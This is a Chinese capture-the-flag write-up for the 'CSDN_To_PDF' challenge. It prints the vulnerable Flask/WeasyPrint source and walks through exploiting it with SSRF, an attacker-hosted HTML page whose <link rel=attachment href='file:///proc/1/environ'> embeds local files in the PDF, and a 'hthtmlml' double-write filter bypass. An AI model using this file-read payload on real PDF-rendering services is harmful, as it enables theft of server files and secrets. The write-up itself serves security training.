0%

NSSRound#20 Basic

Jay17师傅出的题

CSDN_To_PDF V1.2

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from flask import Flask, request, jsonify, make_response, render_template, flash, redirect, url_for
import re
from flask_weasyprint import HTML, render_pdf
import os

app = Flask(__name__)

URL_REGEX = re.compile(
r'http(s)?://' # http or https
r'(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'
)

def is_valid_url(url):
if not URL_REGEX.match(url):
return False
if "blog.csdn.net" not in url:
return False

return True

@app.route('/', methods=['GET', 'POST'])
def CsdnToPdf():
if request.method == 'POST':
url = request.form.get('url')
# 当我不知道weasyprint会解析恶意 <link attachment=xxx>?
url = url.replace("html", "")
if is_valid_url(url):
try:
html = HTML(url=url)
pdf = html.write_pdf()
response = make_response(pdf)
response.headers['Content-Type'] = 'application/pdf'
response.headers['Content-Disposition'] = 'attachment; filename=output.pdf'

return response
except Exception as e:
return f'Error generating PDF', 500
else:
return f'Invalid URL! Target web address: ' + url
else:
return render_template("index.html"), 200


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)

题目是没有给源码的,我们从题目一步步分析

打开页面,有一个PDF转换器

存在输入URL大概率有SSRF,随便给个vps的发现不行

结合转换器是转换CSDN的,那么路径应该要有CSDN

1
http://5i781963p2.yicp.fun/blog.csdn.net

测试成功,我们在vps上开启监听看看

获得信息WeasyPrint 61.2

WeasyPrint

WeasyPrint是一个用于HTML和CSS的可视化渲染引擎,可以将HTML文档导出为打印标准的PDF文件

我们可以借助HTML的标签实现文件读取 参考文章

查看源码可以注意到我们能够使用 <link rel=attachment href="file:///root/secret.txt">将任何网页或本地文件的内容附加到我们的 PDF 中

前面已经测试过存在SSRF,那么我们在vps上创建link.html文件然后去读取环境变量即可

1
2
3
4
5
6
7
8
9
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
</head>
<body>
<link rel="attachment" href="file:///proc/1/environ">
</body>
</html>

回到题目,注意到源代码有个链接

结合css文件我们可以自己构造如下路径,并在vps上创建blog.csdn.net文件夹

1
http://5i781963p2.yicp.fun/blog.csdn.net/link.html

结果不行,我们把blog.csdn.net去掉再读发现html没了(应该是被替换成空)

直接双写绕过

1
http://5i781963p2.yicp.fun/blog.csdn.net/link.hthtmlml

得到pdf文件后用binwalk分离一下,得到flag